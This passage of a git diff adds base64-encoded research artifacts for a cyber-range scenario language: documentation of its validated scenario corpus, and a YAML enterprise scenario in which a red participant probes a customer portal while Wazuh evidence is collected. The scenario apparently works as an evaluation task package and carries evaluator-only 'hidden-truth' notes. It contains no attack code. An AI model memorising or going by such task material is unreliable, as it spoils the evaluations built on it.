ZWQgYXMgcHVibGlzaGVkIGNvbnRyYWN0cyBhbmQgaW1wbGVtZW50YXRpb25zOgoKLSBwYXJ0aWNpcGFudC1pbXBsZW1lbnRhdGlvbiBtYW5pZmVzdHMgZm9yIGFnZW50cywgcG9saWNpZXMsIHNjcmlwdHMsIGFuZAogIGh1bWFuLWNvbnRyb2wgcHJveGllcwotIHBhcnRpY2lwYW50LWltcGxlbWVudGF0aW9uIHByb3ZlbmFuY2UgYW5kIGV4cG9zdXJlIGRpc2Nsb3N1cmUgaW4gcnVuIHJlY29yZHMKLSBmdWxseSBtYXRlcmlhbGl6ZWQgZXZpZGVuY2UtY2FwdHVyZSwgYXVnbWVudGF0aW9uLWRpc2Nsb3N1cmUsIGFuZAogIHBhcnRpY2lwYW50LWV4cG9zdXJlIGNvbnRyYWN0IHN1cmZhY2VzCgpUaGVzZSBhcmUgbm90IGV4YW1wbGVzIG9mIGJhY2tlbmQgbGVha2FnZSBpbnRvIHRoZSBTREwuIFRoZXkgYXJlIGVjb3N5c3RlbQpzdXJmYWNlcyB0aGF0IHNpdCBhbG9uZ3NpZGUgdGhlIFNETCBhbmQgbXVzdCByZW1haW4gZGlzdGluY3QgZnJvbSBhdXRob3JlZApzY2VuYXJpbyBtZWFuaW5nLgoKIyMjIFZhcmlhYmxlIFJlc29sdXRpb24KClZhcmlhYmxlcyAoYCR7dmFyX25hbWV9YCkgYXJlIHN0b3JlZCBhcyBsaXRlcmFsIHN0cmluZ3MgaW4gdGhlIG1vZGVsLiBUaGV5IGFyZSAqKm5vdCoqIHJlc29sdmVkIGF0IHBhcnNlIHRpbWUuIFRoaXMgbWVhbnM6CgotIFRoZSB2YWxpZGF0b3IgY2FuIGNvbmZpcm0gdGhhdCBhIGZ1bGwtdmFsdWUgYCR7dmFyfWAgcmVmZXJlbmNlIGhhcyBhIG1hdGNoaW5nIHZhcmlhYmxlIGRlZmluaXRpb24KLSBDcm9zcy1yZWZlcmVuY2UgcnVsZXMgdGhhdCBkZXBlbmQgb24gYSBwbGFjZWhvbGRlcidzIGZpbmFsIGNvbmNyZXRlIHZhbHVlIGFyZSBkZWZlcnJlZCB0byB0aGUgcmVwby1vd25lZCBpbnN0YW50aWF0aW9uIHBoYXNlCi0gU2VsZWN0ZWQgbGVhZiBlbnVtLWJhY2tlZCBwcm9wZXJ0eSBmaWVsZHMgYXJlIHBhcmFtZXRlcml6YWJsZSwgYnV0IGRpc2NyaW1pbmFudC9zY2hlbWEtc2hhcGluZyBlbnVtcyBhbmQgdXNlci1kZWZpbmVkIG1hcHBpbmcga2V5cyByZW1haW4gY29uY3JldGUKLSBUeXBlIGNoZWNraW5nIG9mIHN1YnN0aXR1dGVkIHJ1bnRpbWUgdmFsdWVzIGhhcHBlbnMgZHVyaW5nIHJlcG8tb3duZWQgaW5zdGFudGlhdGlvbiwgYmVmb3JlIGNvbXBpbGF0aW9uL3J1bnRpbWUgcGxhbm5pbmcKClRoaXMgaXMgYSBkZWxpYmVyYXRlIGRlc2lnbiBjaG9pY2UgKG1hdGNoaW5nIENBQ0FPJ3MgbW9kZWwpLCBidXQgc3Vic3RpdHV0aW9uCnNlbWFudGljcyBhcmUgb3duZWQgYnkgdGhlIHJlcG8gcmF0aGVyIHRoYW4gbGVmdCB0byBiYWNrZW5kLXNwZWNpZmljCmludGVycHJldGF0aW9uLgoKIyMgV2hhdCBIYXMgQmVlbiBWYWxpZGF0ZWQKClRoZSBTREwgaGFzIGJlZW4gdGVzdGVkIGFnYWluc3QgMTkgc2NlbmFyaW9zIGZyb20gOCBwbGF0Zm9ybXMuIFRoaXMgZXN0YWJsaXNoZXMKY292ZXJhZ2Ugb3ZlciB0aGUgbGlzdGVkIGV4YW1wbGVzOyBpdCBkb2VzIG5vdCBlc3RhYmxpc2ggZ2VuZXJhbCBkb21haW4KY29tcGxldGVuZXNzIG9yIHVzYWJpbGl0eSBmb3IgYWxsIGN5YmVyLXJhbmdlIGRlc2lnbnMuCgp8ICMgfCBTY2VuYXJpbyB8IFNvdXJjZSB8IE5vZGVzIHwgU2VydmljZXMgfCBWdWxucyB8CnwtLS18LS0tLS0tLS0tLXwtLS0tLS0tLXwtLS0tLS0tfC0tLS0tLS0tLS18LS0tLS0tLXwKfCAxIHwgT0NSIEZ1bGwgRXhlcmNpc2UgfCBPQ1IgdGVzdCBzdWl0ZSB8IDMgfCAtIHwgMSB8CnwgMiB8IEN5Yk9SRyBDQUdFLTEgfCBDQUdFIENoYWxsZW5nZSAxIHwgNyB8IC0gfCAyIHwKfCAzIHwgQ3liT1JHIENBR0UtMiAoMTMtaG9zdCkgfCBDQUdFIENoYWxsZW5nZSAyIHwgMTYgfCAtIHwgNSB8CnwgNCB8IENBTERFUkEgUmFuc2FjayB8IENBTERFUkEgYWR2ZXJzYXJ5IHwgMCB8IC0gfCAwIHwKfCA1IHwgQXRvbWljIFJlZCBUZWFtIFQxMDAzIHwgQXRvbWljIHRlc3RzIHwgMCB8IC0gfCAwIHwKfCA2IHwgQ3lSSVMgRE1aIHwgQ3lSSVMgfCA3IHwgMyB8IDIgfAp8IDcgfCBLWVBPIENURiB8IEtZUE8gfCAzIHwgLSB8IDMgfAp8IDggfCBIVEIgTWFjaGluZSB8IEhhY2sgVGhlIEJveCB8IDIgfCAzIHwgMiB8CnwgOSB8IEVudGVycHJpc2UgQUQgfCBNdWx0aS1kb21haW4gbGFiIHwgMTAgfCAtIHwgNiB8CnwgMTAgfCBDbG91ZCBIeWJyaWQgfCBBV1MgVlBDICsgb24tcHJlbSB8IDkgfCAtIHwgMyB8CnwgMTEgfCBFeGNoYW5nZSArIGRhdGEgfCBTREwgZXh0ZW5kZWQgfCA1IHwgMyB8IDEgfAp8IDEyIHwgQ3liT1JHIHdpdGggYWdlbnRzIHwgQ0FHRS0yICsgYWdlbnRzIHwgOSB8IC0gfCAxIHwKfCAxMyB8IEFEIHRydXN0ICsgZmVkZXJhdGlvbiB8IE11bHRpLWRvbWFpbiArIHZhcnMgfCA2IHwgLSB8IDIgfAp8IDE0IHwgSW5jYWxtbyBFcXVpZmF4IHwgTUhCZW5jaCB8IDYgfCA3IHwgMiB8CnwgMTUgfCBOSUNFIENoYWxsZW5nZSAxNyB8IE5JQ0UvTklTVCB8IDYgfCA5IHwgMyB8CnwgMTYgfCBDQ0RDIDIwMDcgfCBDb21wZXRpdGlvbiBwYWNrZXQgfCA1IHwgMTEgfCAwIHwKfCAxNyB8IEhUQiBPZmZzaG9yZS1zdHlsZSB8IFByb0xhYiB8IDYgfCAxMSB8IDYgfAp8IDE4IHwgTWV0YXNwbG9pdGFibGUgMiB8IENsYXNzaWMgbGFiIHwgMiB8IDIzIHwgMTEgfAp8IDE5IHwgTG9ja2VkIFNoaWVsZHMgSVQvT1QgfCBOQVRPIGV4ZXJjaXNlIHwgNyB8IDEzIHwgMCB8CgpBZGRpdGlvbmFsbHksIGEgMjgtbm9kZSBlbnRlcnByaXNlIGxhYiB0b3BvbG9neSAoNCBuZXR3b3JrcywgMTcgaGVhbHRoIGNoZWNrcywgMTcgdnVsbmVyYWJpbGl0aWVzKSBoYXMgYmVlbiBkZXNjcmliZWQgaW4gU0RMIGFuZCB2YWxpZGF0ZWQuCgpUaGUgZGlyZWN0b3J5L2RvbWFpbiBpZGVudGl0eSBzdXJmYWNlIHdhcyBhZGRlZCBhZnRlciB0aGUgb2xkZXIgRW50ZXJwcmlzZSBBRAphbmQgQUQgdHJ1c3QvZmVkZXJhdGlvbiBjb3JwdXMgZW50cmllcy4gSXQgaXMgbm93IGNvdmVyZWQgYnkgdGFyZ2V0ZWQgcGFyc2VyCmFuZCBtb2RlbCB0ZXN0cyBwbHVzIHRoZSBob3NwaXRhbCByYW5zb213YXJlIHNjZW5hcmlvJ3MgQUQvQURGUwpgcnVudGltZS5pZGVudGl0eV9hdXRob3JpdGllc2AgZXhhbXBsZS4gVGhhdCBjb3ZlcmFnZSB2YWxpZGF0ZXMgUkFFUydzIG5ldXRyYWwKcmVmZXJlbmNlIGFuZCByZWRhY3Rpb24gbWVjaGFuaWNzOyBpdCBpcyBub3QgYSBjbGFpbSB0aGF0IFJBRVMgbWlycm9ycyBmdWxsCkFEIERTLCBMREFQLCBLZXJiZXJvcywgU0NJTSwgU0FNTCwgT0lEQywgY2xvdWQgSUFNLCBvciBCbG9vZEhvdW5kIHNjaGVtYXMuCgpUaGUgRE5TIHJ1bnRpbWUgc3VyZmFjZSBpcyBjb3ZlcmVkIGJ5IHRhcmdldGVkIHBhcnNlciwgbW9kZWwsIHZhbGlkYXRvciwgYW5kCm1vZHVsZS1jb21wb3NpdGlvbiB0ZXN0cy4gVGhhdCBjb3ZlcmFnZSB2YWxpZGF0ZXMgUkFFUydzIG5ldXRyYWwgUlJzZXQsCnJlc29sdmVyLXBvbGljeSwgZXZpZGVuY2UtcmVmLCBhbmQgcmVmZXJlbmNlIG1lY2hhbmljczsgaXQgaXMgbm90IGEgY2xhaW0gdGhhdApSQUVTIG1pcnJvcnMgZnVsbCBCSU5ELCBDb3JlRE5TLCBQb3dlckROUywgTlNELCBLbm90LCBwcm92aWRlciBBUEksIHBhc3NpdmUKRE5TLCBvciB0ZWxlbWV0cnkgc2NoZW1hcy4KClByb3BlcnR5LWJhc2VkIGZ1enogdGVzdGluZyAoSHlwb3RoZXNpcykgaGFzIHJ1biAxLDA1MCsgcmFuZG9tIGlucHV0cyB0aHJvdWdoIHRoZSBwYXJzZXIgd2l0aCB6ZXJvIHVuaGFuZGxlZCBjcmFzaGVzLgoKIyMgUmVzZWFyY2ggQ29ycHVzIGFuZCBWZXJpZmljYXRpb24gU2NvcGUKClRoZSBTREwgbGluZWFnZSBhbmQgcHJlY2VkZW50IGRvY3VtZW50cyBjaXRlIGV4dGVybmFsIHdvcmsgYXQgdHdvIGRpc3RpbmN0CmV2aWRlbmNlIGxldmVscywgYW5kIHRoZSBkaXN0aW5jdGlvbiBpcyBsb2FkLWJlYXJpbmc6CgotICoqUHJpbWFyeS1zb3VyY2UtdmVyaWZpZWQqKiDigJQgc3RhbmRhcmRzLCBzcGVjaWZpY2F0aW9ucywgcGVlci1yZXZpZXdlZCBwYXBlcnMsCiAgYW5kIHRlY2huaWNhbCByZXBvcnRzIGNpdGVkIGJ5IGEgcmVzb2x2YWJsZSBET0kgb3IgbWFpbnRhaW5lciBVUkwgdGhhdCBhCiAgcmVhZGVyIGNhbiBjaGVjayBkaXJlY3RseS4gVGhlc2UgY2FycnkgbGluZWFnZSBhbmQgdGVybWlub2xvZ3kgd2VpZ2h0LgotICoqU2Vjb25kYXJ5IG9yIGN1cnJlbnQtcmVzZWFyY2gqKiDigJQgcHJlcHJpbnRzLCBzdXJ2ZXlzLWluLXByb2dyZXNzLCB2ZW5kb3IKICBwYWdlcywgYW5kIHByb2plY3QgbWFudWFscy4gVGhlc2UgbWF5IGV4cGxhaW4gdGVybWlub2xvZ3kgb3IgbW90aXZhdGUgYQogIGNvbmNlcm4gYnV0IGFyZSAqKm5vdCoqIHRyZWF0ZWQgYXMgc2V0dGxlZCBub3JtYXRpdmUgYXV0aG9yaXR5LCBhbmQgdGhleSBhcmUKICBsYWJlbGxlZCBhcyBzdWNoIGF0IHRoZSBwb2ludCBvZiBjaXRhdGlvbiAoZm9yIGV4YW1wbGUsIHRoZSBUZWNoUnhpdgogIGN5YmVyLXJhbmdlIHNjZW5hcmlvIHN1cnZleSBjaXRlZCBpbiBbbGluZWFnZS5tZF0obGluZWFnZS5tZCkgaXMgaWRlbnRpZmllZCBhcwogIGEgcHJlcHJpbnQpLgoKVGhlIHByb2plY3QncyB3b3JraW5nIGNpdGF0aW9uIGNvcnB1cyBsaXZlcyBpbiBhIGxvY2FsLCBnaXRpZ25vcmVkIGByZXNlYXJjaC9gCnRyZWUg4oCUIHRoZSBub24tbm9ybWF0aXZlIGByZXNlYXJjaF9ub3Rlc2Agcm9vdCBpbgpbYGF1dGhvcml0eS1ib3VuZGFyeS55YW1sYF0oLi4vLi4vLi4vc3BlY3MvYXV0aG9yaXR5L2F1dGhvcml0eS1ib3VuZGFyeS55YW1sKSDigJQKc28gaXQgaXMgbm90IHBhcnQgb2YgdGhlIHB1Ymxpc2hlZCByZXBvc2l0b3J5LiBSZWZlcmVuY2VzIHRoYXQgd291bGQgb3RoZXJ3aXNlCmJlIHZlcmlmaWFibGUgb25seSBmcm9tIHRoYXQgcHJpdmF0ZSBjb3JwdXMgb3IgYSBwcml2YXRlIFpvdGVybyBsaWJyYXJ5IGFyZQpzbmFwc2hvdHRlZCBhcyByZXBvLXRyYWNrZWQgY2l0YXRpb24gbWV0YWRhdGEgdW5kZXIKW2Bkb2NzL3Jlc2VhcmNoL3ByaW1hcnkvYF0oLi4vLi4vcmVzZWFyY2gvcHJpbWFyeS9pbmRleC5tZCksIHNvIGV2ZXJ5IGNpdGVkCmNsYWltIGlzIGNoZWNrYWJsZSBmcm9tIHRoZSByZXBvc2l0b3J5IGFsb25lLiBUaGUgZXhwZXJpbWVudC1jb3JlIHJlc2VhcmNoIGxvZwphcHBsaWVzIHRoZSBzYW1lIGRpc2NpcGxpbmUg4oCUIHB1Ymxpc2hlZCBzb3VyY2VzIG9ubHksIHByZXByaW50cyBleGNsdWRlZCBhcwpwcmltYXJ5IGV2aWRlbmNlIChzZWUgaXRzICJTb3VyY2UgUnVsZSIgaW4KW2AyMDI2LTA1LTI2LXNlYXJjaC1sb2cubWRgXSguLi8uLi9yZXNlYXJjaC9leHBlcmltZW50LWNvcmUvMjAyNi0wNS0yNi1zZWFyY2gtbG9nLm1kKSkuCg==", + "recovered_from_revision": "2ed2d97cee641419912dfd2e4e2e4b0c9c61f35e" +} diff --git a/docs/research/specification-coverage/historical-artifacts/f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032.json b/docs/research/specification-coverage/historical-artifacts/f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032.json new file mode 100644 index 000000000..9996d2d34 --- /dev/null +++ b/docs/research/specification-coverage/historical-artifacts/f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032.json @@ -0,0 +1,5 @@ +{ + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "content_base64": "bmFtZTogZW50ZXJwcmlzZS1wYXJ0aWNpcGFudC1ldmlkZW5jZS1sb29wCnZlcnNpb246ICIxLjAiCmRlc2NyaXB0aW9uOiA+CiAgR2VuZXJpYyBlbnRlcnByaXNlIHJlZmVyZW5jZSBzY2VuYXJpbyBkZW1vbnN0cmF0aW5nIGFuIGF1dGhvcmVkIFNETAogIHBhcnRpY2lwYW50IGFjdGlvbiBjb250cmFjdCwgb2JzZXJ2YXRpb24gYm91bmRhcnksIG91dGNvbWUgaW50ZXJwcmV0YXRpb24sCiAgcHJvY2Vzc29yIGNvbXBpbGF0aW9uLCBhbmQgZG93bnN0cmVhbSBydW50aW1lL2JhY2tlbmQgYmluZGluZyBmb3IgYSBmb2N1c2VkCiAgc2VjdXJpdHkgZXZhbHVhdGlvbiBzbGljZSB3aXRoIFdhenVoIGV2YWx1YXRvciBldmlkZW5jZSBhbmQgb3B0aW9uYWwKICBwYXJ0aWNpcGFudCBwb2xpY3kgcHJvdmVuYW5jZS4KCm5vZGVzOgogIHJlZHRlYW0tbmV0OgogICAgdHlwZTogc3dpdGNoCiAgICBkZXNjcmlwdGlvbjogUGFydGljaXBhbnQgd29ya2JlbmNoIG5ldHdvcmsuCiAgZG16LW5ldDoKICAgIHR5cGU6IHN3aXRjaAogICAgZGVzY3JpcHRpb246IFB1YmxpYy1mYWNpbmcgZW50ZXJwcmlzZSBETVogbmV0d29yay4KICBpbnRlcm5hbC1uZXQ6CiAgICB0eXBlOiBzd2l0Y2gKICAgIGRlc2NyaXB0aW9uOiBJbnRlcm5hbCBlbnRlcnByaXNlIGFwcGxpY2F0aW9uIGFuZCBkYXRhIG5ldHdvcmsuCiAgc2VjdXJpdHktbmV0OgogICAgdHlwZTogc3dpdGNoCiAgICBkZXNjcmlwdGlvbjogRXZhbHVhdG9yIGFuZCBkZWZlbnNpdmUgdGVsZW1ldHJ5IG5ldHdvcmsuCgogIHJlZC13b3JrYmVuY2g6CiAgICB0eXBlOiBjb21wdXRlCiAgICBvczogbGludXgKICAgIHJlc291cmNlczoge3JhbTogMSBHaUIsIGNwdTogMX0KICAgIHNlcnZpY2VzOgogICAgICAtIHtuYW1lOiBzc2gsIHBvcnQ6IDIyLCBwcm90b2NvbDogdGNwfQogIGN1c3RvbWVyLXBvcnRhbDoKICAgIHR5cGU6IGNvbXB1dGUKICAgIG9zOiBsaW51eAogICAgc291cmNlOiB7bmFtZTogY3VzdG9tZXItcG9ydGFsLWFwcCwgdmVyc2lvbjogcmVmZXJlbmNlfQogICAgcmVzb3VyY2VzOiB7cmFtOiAxIEdpQiwgY3B1OiAxfQogICAgc2VydmljZXM6CiAgICAgIC0ge25hbWU6IGh0dHAsIHBvcnQ6IDgwODAsIHByb3RvY29sOiB0Y3B9CiAgY3VzdG9tZXItZGI6CiAgICB0eXBlOiBjb21wdXRlCiAgICBvczogbGludXgKICAgIHNvdXJjZToge25hbWU6IHBvc3RncmVzLCB2ZXJzaW9uOiAiMTYifQogICAgcmVzb3VyY2VzOiB7cmFtOiAxIEdpQiwgY3B1OiAxfQogICAgc2VydmljZXM6CiAgICAgIC0ge25hbWU6IHBvc3RncmVzLCBwb3J0OiA1NDMyLCBwcm90b2NvbDogdGNwfQogIHdhenVoLW1hbmFnZXI6CiAgICB0eXBlOiBjb21wdXRlCiAgICBvczogbGludXgKICAgIHNvdXJjZToge25hbWU6IHdhenVoLW1hbmFnZXIsIHZlcnNpb246ICI0LngifQogICAgcmVzb3VyY2VzOiB7cmFtOiAxIEdpQiwgY3B1OiAxfQogICAgc2VydmljZXM6CiAgICAgIC0ge25hbWU6IHdhenVoLWFwaSwgcG9ydDogNTUwMDAsIHByb3RvY29sOiB0Y3B9CiAgICAgIC0ge25hbWU6IGFnZW50LWV2ZW50cywgcG9ydDogMTUxNCwgcHJvdG9jb2w6IHRjcH0KICAgICAgLSB7bmFtZTogc3lzbG9nLCBwb3J0OiA1MTQsIHByb3RvY29sOiB1ZHB9CiAgICBjb25kaXRpb25zOiB7d2F6dWgtbWFuYWdlci1oZWFsdGg6ICIifQogIHdhenVoLWluZGV4ZXI6CiAgICB0eXBlOiBjb21wdXRlCiAgICBvczogbGludXgKICAgIHNvdXJjZToge25hbWU6IHdhenVoLWluZGV4ZXIsIHZlcnNpb246ICI0LngifQogICAgcmVzb3VyY2VzOiB7cmFtOiAxIEdpQiwgY3B1OiAxfQogICAgc2VydmljZXM6CiAgICAgIC0ge25hbWU6IGluZGV4ZXItYXBpLCBwb3J0OiA5MjAwLCBwcm90b2NvbDogdGNwfQogIHBhcnRpY2lwYW50LXBvbGljeS1nYXRlOgogICAgdHlwZTogY29tcHV0ZQogICAgb3M6IGxpbnV4CiAgICBzb3VyY2U6IHtuYW1lOiBwYXJ0aWNpcGFudC1wb2xpY3ktZ2F0ZSwgdmVyc2lvbjogcmVmZXJlbmNlfQogICAgcmVzb3VyY2VzOiB7cmFtOiAxIEdpQiwgY3B1OiAxfQogICAgc2VydmljZXM6CiAgICAgIC0ge25hbWU6IHBvbGljeS1nYXRlLWFwaSwgcG9ydDogODQ0NCwgcHJvdG9jb2w6IHRjcH0KCmluZnJhc3RydWN0dXJlOgogIHJlZHRlYW0tbmV0OgogICAgY291bnQ6IDEKICAgIHByb3BlcnRpZXM6IHtjaWRyOiAxNzIuMjAuNC4wLzI0LCBnYXRld2F5OiAxNzIuMjAuNC4xLCBpbnRlcm5hbDogdHJ1ZX0KICBkbXotbmV0OgogICAgY291bnQ6IDEKICAgIHByb3BlcnRpZXM6IHtjaWRyOiAxNzIuMjAuMS4wLzI0LCBnYXRld2F5OiAxNzIuMjAuMS4xLCBpbnRlcm5hbDogdHJ1ZX0KICBpbnRlcm5hbC1uZXQ6CiAgICBjb3VudDogMQogICAgcHJvcGVydGllczoge2NpZHI6IDE3Mi4yMC4yLjAvMjQsIGdhdGV3YXk6IDE3Mi4yMC4yLjEsIGludGVybmFsOiB0cnVlfQogIHNlY3VyaXR5LW5ldDoKICAgIGNvdW50OiAxCiAgICBwcm9wZXJ0aWVzOiB7Y2lkcjogMTcyLjIwLjAuMC8yNCwgZ2F0ZXdheTogMTcyLjIwLjAuMSwgaW50ZXJuYWw6IGZhbHNlfQoKICByZWQtd29ya2JlbmNoOgogICAgY291bnQ6IDEKICAgIGxpbmtzOiBbcmVkdGVhbS1uZXQsIGRtei1uZXRdCiAgY3VzdG9tZXItcG9ydGFsOgogICAgY291bnQ6IDEKICAgIGxpbmtzOiBbZG16LW5ldCwgaW50ZXJuYWwtbmV0XQogICAgZGVwZW5kZW5jaWVzOiBbY3VzdG9tZXItZGIsIHdhenVoLW1hbmFnZXJdCiAgY3VzdG9tZXItZGI6CiAgICBjb3VudDogMQogICAgbGlua3M6IFtpbnRlcm5hbC1uZXRdCiAgICBkZXBlbmRlbmNpZXM6IFt3YXp1aC1tYW5hZ2VyXQogIHdhenVoLW1hbmFnZXI6CiAgICBjb3VudDogMQogICAgbGlua3M6IFtzZWN1cml0eS1uZXQsIGludGVybmFsLW5ldF0KICAgIGRlcGVuZGVuY2llczogW3dhenVoLWluZGV4ZXJdCiAgd2F6dWgtaW5kZXhlcjoKICAgIGNvdW50OiAxCiAgICBsaW5rczogW3NlY3VyaXR5LW5ldF0KICBwYXJ0aWNpcGFudC1wb2xpY3ktZ2F0ZToKICAgIGNvdW50OiAxCiAgICBsaW5rczogW3NlY3VyaXR5LW5ldF0KCmVudGl0aWVzOgogIGVudGVycHJpc2UtcGFydGljaXBhbnQ6CiAgICByb2xlOiByZWQKICAgIG1pc3Npb246ID4KICAgICAgUGVyZm9ybSBvbmUgYm91bmRlZCBwb3J0YWwgcHJvYmUgdGhyb3VnaCB0aGUgcGFydGljaXBhbnQgcnVudGltZSBhbmQKICAgICAgcmVwb3J0IG9ubHkgdGhlIHRlcm1pbmFsIHBhcnRpY2lwYW50LXZpc2libGUgb2JzZXJ2YXRpb24uCiAgZW50ZXJwcmlzZS1kZWZlbmRlcjoKICAgIHJvbGU6IGJsdWUKICAgIG1pc3Npb246ID4KICAgICAgUHJvdmlkZSBXYXp1aCBldmlkZW5jZSB0aGF0IGNhbiBjb3Jyb2JvcmF0ZSBvciBib3VuZCB0aGUgcGFydGljaXBhbnQtbG9jYWwKICAgICAgb2JzZXJ2YXRpb24gd2l0aG91dCBiZWNvbWluZyB0aGUgc2NlbmFyaW8ncyBwcmltYXJ5IGNsYWltLgogIGVudGVycHJpc2UtZXZhbHVhdG9yOgogICAgcm9sZTogd2hpdGUKICAgIG1pc3Npb246ID4KICAgICAgSW50ZXJwcmV0IHBhcnRpY2lwYW50LWxvY2FsIGV2aWRlbmNlLCBXYXp1aCBldmlkZW5jZSwgcG9saWN5IHByb3ZlbmFuY2UsCiAgICAgIGFuZCBuZWdhdGl2ZSBib3VuZGFyeSBjaGVja3MgYWdhaW5zdCB0aGUgc2NlbmFyaW8gb2JqZWN0aXZlLgoKY29udGVudDoKICB0YXNrLWJyaWVmOgogICAgdHlwZTogZmlsZQogICAgdGFyZ2V0OiByZWQtd29ya2JlbmNoCiAgICBwYXRoOiAvc2NlbmFyaW8vdGFzay5tZAogICAgdGV4dDogPgogICAgICBQcm9iZSB0aGUgY3VzdG9tZXIgcG9ydGFsIGxvZ2luIGVuZHBvaW50IGFuZCByZXBvcnQgd2hldGhlciB0aGUgc2VydmljZSBpcwogICAgICByZWFjaGFibGUgd2l0aCBhIGJvdW5kZWQgdGVybWluYWwgb2JzZXJ2YXRpb24uCiAgICBzZW5zaXRpdmU6IGZhbHNlCiAgICB0YWdzOiBbcGFydGljaXBhbnQtdmlzaWJsZSwgdGFza10KICBwYXJ0aWNpcGFudC1vYnNlcnZhdGlvbjoKICAgIHR5cGU6IGRhdGFzZXQKICAgIHRhcmdldDogcmVkLXdvcmtiZW5jaAogICAgZGVzY3JpcHRpb246ID4KICAgICAgQm91bmRlZCBydW50aW1lIGV2aWRlbmNlIGVtaXR0ZWQgYnkgdGhlIGRlY2xhcmVkIHBhcnRpY2lwYW50IGFjdGlvbi4KICAgIGl0ZW1zOgogICAgICAtIG5hbWU6IHBvcnRhbC1sb2dpbi1vYnNlcnZhdGlvbgogICAgICAgIGRlc2NyaXB0aW9uOiBUZXJtaW5hbCBvYnNlcnZhdGlvbiBlbnZlbG9wZSBmb3IgdGhlIGN1c3RvbWVyIHBvcnRhbCBwcm9iZS4KICAgICAgICB0YWdzOiBbcGFydGljaXBhbnQtcnVudGltZSwgZXZpZGVuY2VdCiAgICBzZW5zaXRpdmU6IGZhbHNlCiAgICB0YWdzOiBbcGFydGljaXBhbnQtcnVudGltZSwgZXZpZGVuY2VdCiAgd2F6dWgtZXZpZGVuY2U6CiAgICB0eXBlOiBkYXRhc2V0CiAgICB0YXJnZXQ6IHdhenVoLW1hbmFnZXIKICAgIGRlc2NyaXB0aW9uOiA+CiAgICAgIFdhenVoIGV2YWx1YXRvciBldmlkZW5jZSByZXRhaW5lZCBmb3IgdGhlIGJvdW5kZWQgcG9ydGFsIHByb2JlLgogICAgaXRlbXM6CiAgICAgIC0gbmFtZTogcG9ydGFsLXByb2JlLWFsZXJ0CiAgICAgICAgZGVzY3JpcHRpb246IFdhenVoIGFsZXJ0IG9yIGV2ZW50IHNob3dpbmcgdGhlIHBhcnRpY2lwYW50IHByb2JlIHJlYWNoZWQgdGhlIHBvcnRhbC4KICAgICAgICB0YWdzOiBbd2F6dWgsIGRlZmVuZGVyLXRlbGVtZXRyeSwgZXZhbHVhdG9yLWV2aWRlbmNlXQogICAgc2Vuc2l0aXZlOiBmYWxzZQogICAgdGFnczogW3dhenVoLCBkZWZlbmRlci10ZWxlbWV0cnksIGV2YWx1YXRvci1ldmlkZW5jZV0KICBwb2xpY3ktZGVjaXNpb24tbG9nOgogICAgdHlwZTogZGF0YXNldAogICAgdGFyZ2V0OiBwYXJ0aWNpcGFudC1wb2xpY3ktZ2F0ZQogICAgZGVzY3JpcHRpb246ID4KICAgICAgT3B0aW9uYWwgbW9kZWwtZGVmZW5zZSBvciB0b29sLXVzZSBhdXRob3JpemF0aW9uIHByb3ZlbmFuY2UgcmV0YWluZWQgZm9yCiAgICAgIGV2YWx1YXRvciBhdWRpdCwgbm90IGZvciBhIHJvYnVzdG5lc3MgY2xhaW0uCiAgICBpdGVtczoKICAgICAgLSBuYW1lOiB0b29sLXVzZS1hbGxvdy1yZWNvcmQKICAgICAgICBkZXNjcmlwdGlvbjogUG9saWN5LWdhdGUgZGVjaXNpb24gZm9yIHRoZSBib3VuZGVkIHBvcnRhbCBwcm9iZSBhY3Rpb24uCiAgICAgICAgdGFnczogW21vZGVsLWRlZmVuc2UsIHByb3ZlbmFuY2UsIGV2YWx1YXRvci1ldmlkZW5jZV0KICAgIHNlbnNpdGl2ZTogZmFsc2UKICAgIHRhZ3M6IFttb2RlbC1kZWZlbnNlLCBwcm92ZW5hbmNlLCBldmFsdWF0b3ItZXZpZGVuY2VdCiAgYm91bmRhcnktY2hlY2stZXZpZGVuY2U6CiAgICB0eXBlOiBkYXRhc2V0CiAgICB0YXJnZXQ6IHJlZC13b3JrYmVuY2gKICAgIGRlc2NyaXB0aW9uOiA+CiAgICAgIEV2YWx1YXRvciBldmlkZW5jZSBzaG93aW5nIHRoYXQgZGlyZWN0IGRhdGFiYXNlIGFuZCBXYXp1aCBBUEkgcmVhY2hhYmlsaXR5CiAgICAgIGFyZSBvdXRzaWRlIHRoZSBwYXJ0aWNpcGFudCBob3N0IHByb2plY3Rpb24gaW4gYmFja2VuZHMgdGhhdCBzdXBwb3J0IGxpdmUKICAgICAgY2hlY2tzLgogICAgaXRlbXM6CiAgICAgIC0gbmFtZTogZGlyZWN0LWRiLXVucmVhY2hhYmxlCiAgICAgICAgZGVzY3JpcHRpb246IE5lZ2F0aXZlIHJlYWNoYWJpbGl0eSBjaGVjayBmb3IgY3VzdG9tZXItZGIgZnJvbSByZWQtd29ya2JlbmNoLgogICAgICAgIHRhZ3M6IFtib3VuZGFyeS1jaGVjaywgZXZhbHVhdG9yLWV2aWRlbmNlXQogICAgICAtIG5hbWU6IGRpcmVjdC13YXp1aC1hcGktdW5yZWFjaGFibGUKICAgICAgICBkZXNjcmlwdGlvbjogTmVnYXRpdmUgcmVhY2hhYmlsaXR5IGNoZWNrIGZvciB3YXp1aC1hcGkgZnJvbSByZWQtd29ya2JlbmNoLgogICAgICAgIHRhZ3M6IFtib3VuZGFyeS1jaGVjaywgZXZhbHVhdG9yLWV2aWRlbmNlXQogICAgc2Vuc2l0aXZlOiBmYWxzZQogICAgdGFnczogW2JvdW5kYXJ5LWNoZWNrLCBldmFsdWF0b3ItZXZpZGVuY2VdCiAgZXZhbHVhdG9yLW5vdGVzOgogICAgdHlwZTogZmlsZQogICAgdGFyZ2V0OiB3YXp1aC1tYW5hZ2VyCiAgICBwYXRoOiAvc2NlbmFyaW8vZXZhbHVhdG9yLW5vdGVzLm1kCiAgICB0ZXh0OiA+CiAgICAgIEFkanVkaWNhdGlvbi1vbmx5IG5vdGVzIHJlbWFpbiBvdXRzaWRlIHRoZSBwYXJ0aWNpcGFudCB2aWV3IGFuZCBhcmUgdXNlZAogICAgICBvbmx5IHRvIGludGVycHJldCBldmlkZW5jZSBhZnRlciB0aGUgcnVuLgogICAgc2Vuc2l0aXZlOiB0cnVlCiAgICB0YWdzOiBbaGlkZGVuLXRydXRoXQoKY29uZGl0aW9uczoKICB3YXp1aC1tYW5hZ2VyLWhlYWx0aDoKICAgIGNvbW1hbmQ6IC9